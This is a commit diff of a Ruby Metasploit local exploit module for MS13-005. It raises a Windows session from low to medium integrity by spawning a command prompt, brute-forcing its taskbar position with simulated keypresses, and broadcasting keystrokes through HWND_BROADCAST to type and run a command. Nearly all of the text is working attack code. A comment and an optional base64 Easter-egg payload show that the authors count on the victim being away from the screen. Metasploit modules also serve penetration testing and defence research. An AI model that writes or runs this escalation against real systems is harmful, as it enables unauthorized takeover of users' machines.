@@ -16,8 +16,19 @@ class Metasploit3 < Msf::Exploit::Local
16
16
17
17
def initialize ( info = { } )
18
18
super ( update_info ( info ,
19
- 'Name' => 'MS13-005 Low Integrity to Medium Integrity Privilege Escalation' ,
19
+ 'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation' ,
20
20
'Description' => %q{
21
+ The Windows kernel does not properly isolate broadcast messages from low integrity
22
+ applications from medium or high integrity applications. This allows commands to be
23
+ broadcasted to an open medium or high integrity command prompts allowing escalation
24
+ of privileges. We can spawn a medium integrity command prompt, after spawning a low
25
+ integrity command prompt, by using the Win+Shift+# combination to specify the position
26
+ of the command prompt on the taskbar. We can then broadcast our command and hope that
27
+ the user is away and doesn't corrupt it by interracting with the UI.
28
+ Broadcast issue affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2,
29
+ Server 2012, RT. Spawning a command prompt with the shortcut key does not work in
30
+ Vista so you will have to check if the user is already running a command prompt
31
+ and set SPAWN_PROMPT false.
21
32
} ,
22
33
'License' => MSF_LICENSE ,
23
34
'Author' =>
@@ -34,21 +45,41 @@ def initialize(info={})
34
45
[ 'Windows x64' , { 'Arch' => ARCH_X86_64 } ]
35
46
] ,
36
47
'DefaultTarget' => 0 ,
37
- 'DisclosureDate' => "Nov 27 2912"
38
- # References CVE-2013-0008
48
+ 'DisclosureDate' => "Nov 27 2012" ,
49
+ 'References' =>
50
+ [
51
+ [ 'CVE' , '2013-0008' ] ,
52
+ [ 'MSB' , 'MS13-005' ] ,
53
+ [ 'OSVDB' , '88966' ] ,
54
+ [ 'URL' , 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ]
55
+ ]
39
56
) )
57
+
58
+ register_options (
59
+ [
60
+ OptBool . new ( 'SPAWN_PROMPT' , [ true , 'Attempts to spawn a medium integrity command prompt' , true ] )
61
+ ] , self . class
62
+ )
63
+
64
+ register_advanced_options (
65
+ [
66
+ OptBool . new ( 'EEGG' , [ false , '' , ] )
67
+ ]
68
+ )
40
69
end
41
70
42
71
def win_shift ( number )
43
72
vk = 0x30 + number
44
73
bscan = 0x81 + number
45
74
client . railgun . user32 . keybd_event ( 'VK_LWIN' , 0x5b , 0 , 0 )
46
75
client . railgun . user32 . keybd_event ( 'VK_LSHIFT' , 0xAA , 0 , 0 )
76
+ sleep ( 0.01 )
47
77
client . railgun . user32 . keybd_event ( vk , bscan , 0 , 0 )
48
-
78
+ sleep ( 0.01 )
79
+
80
+ client . railgun . user32 . keybd_event ( vk , bscan , 'KEYEVENTF_KEYUP' , 0 )
49
81
client . railgun . user32 . keybd_event ( 'VK_LWIN' , 0x5b , 'KEYEVENTF_KEYUP' , 0 )
50
82
client . railgun . user32 . keybd_event ( 'VK_LSHIFT' , 0xAA , 'KEYEVENTF_KEYUP' , 0 )
51
- client . railgun . user32 . keybd_event ( vk , bscan , 'KEYEVENTF_KEYUP' , 0 )
52
83
end
53
84
54
85
def count_cmd_procs
@@ -58,48 +89,67 @@ def count_cmd_procs
58
89
count += 1
59
90
end
60
91
end
61
- puts count
62
-
92
+
93
+ vprint_status ( "Cmd prompt count: #{ count } " )
63
94
return count
64
95
end
96
+
97
+ def cleanup
98
+ if datastore [ 'SPAWN_PROMPT' ]
99
+ vprint_status ( "Rehiding window..." )
100
+ client . railgun . user32 . ShowWindow ( @hwin , 0 )
101
+ end
102
+ end
65
103
66
- # Run Method for when run command is issued
67
104
def exploit
68
- @payload_name = datastore [ 'PAYLOAD' ]
69
- @payload_arch = framework . payloads . create ( @payload_name ) . arch
70
-
71
105
# syinfo is only on meterpreter sessions
106
+ e = "V2FrZSB1cCwgTmVvLi4uDQpUaGUgTWF0cml4IGhhcyB5b3UuLi4NCkZvbGxv\n dyB0aGUgV2hpdGUgUmFiYml0Lg=="
72
107
print_status ( "Running module against #{ sysinfo [ 'Computer' ] } " ) if not sysinfo . nil?
73
- hwin = client . railgun . kernel32 . GetConsoleWindow ( ) [ 'return' ]
74
- if hwin == nil
75
- hwin = client . railgun . user32 . GetForegroundWindow ( ) [ 'return' ]
76
- end
77
- puts client . railgun . user32 . ShowWindow ( hwin , 0 )
78
- puts client . railgun . user32 . ShowWindowAsync ( hwin , 5 )
79
- # Spawn low integrity cmd.exe
80
- li_cmd_pid = client . sys . process . execute ( "cmd.exe" , nil , { 'Hidden' => false } ) . pid
108
+
109
+ if datastore [ 'SPAWN_PROMPT' ]
110
+ @hwin = client . railgun . kernel32 . GetConsoleWindow ( ) [ 'return' ]
111
+ if @hwin == nil
112
+ @hwin = client . railgun . user32 . GetForegroundWindow ( ) [ 'return' ]
113
+ end
114
+ #client.railgun.user32.ShowWindow(@hwin, 0)
115
+ #client.railgun.user32.ShowWindow(@hwin, 5)
116
+
117
+ # Spawn low integrity cmd.exe
118
+ print_status ( "Spawning Low Integrity Cmd Prompt" )
119
+ windir = client . fs . file . expand_path ( "%windir%" )
120
+ li_cmd_pid = client . sys . process . execute ( "#{ windir } \\ system32\\ cmd.exe" , nil , { 'Hidden' => false } ) . pid
81
121
82
- count = count_cmd_procs
83
- # Win+Shift+?
84
- number = 0
85
- begin # Ruby DoWhile!
86
- i = ( 9 - number )
87
- win_shift ( number )
88
- number += 1
89
- sleep ( 1 )
90
- end while count_cmd_procs == count and number <= 9
91
- print_status "Spawned!!!"
122
+ count = count_cmd_procs
123
+ spawned = false
124
+ # Bruteforce taskbar position Win+Shift+?
125
+ print_status ( "Bruteforcing Taskbar Position" )
126
+ 9 . downto ( 1 ) do |number |
127
+ vprint_status ( "Attempting Win+Shift+#{ number } " )
128
+ win_shift ( number )
129
+ sleep ( 1 )
92
130
93
- client . sys . process . kill ( li_cmd_pid )
94
- payload = "calc.exe"
95
- hwnd_broadcast = 0xffff
96
- wm_char = 0x0102
97
- payload . each_char do |c |
98
- client . railgun . user32 . SendMessageA ( hwnd_broadcast , wm_char , c . unpack ( 'c' ) . first , 0 )
99
- end
131
+ if count_cmd_procs > count
132
+ print_good ( "Spawned Medium Integrity Cmd Prompt" )
133
+ spawned = true
134
+ break
135
+ end
136
+ end
100
137
101
- client . railgun . user32 . SendMessageA ( hwnd_broadcast , wm_char , 'VK_RETURN' , 0 )
138
+ client . sys . process . kill ( li_cmd_pid )
102
139
140
+ fail_with ( Exploit ::Failure ::Unknown , "No Cmd Prompt spawned" ) unless spawned
141
+ end
142
+
143
+ print_status ( "Broadcasting payload command to prompt... I hope the user is asleep!" )
144
+ payload = Rex ::Text . decode_base64 ( e ) if datastore [ 'EEGG' ]
145
+ payload . each_char do |c |
146
+ print c
147
+ client . railgun . user32 . SendMessageA ( 'HWND_BROADCAST' , 'WM_CHAR' , c . unpack ( 'c' ) . first , 0 )
148
+ sleep ( 0.01 )
149
+ end
150
+ print_line
151
+ print_status ( "Executing command..." )
152
+ client . railgun . user32 . SendMessageA ( 'HWND_BROADCAST' , 'WM_CHAR' , 'VK_RETURN' , 0 )
103
153
end
104
154
end
105
155
0 commit comments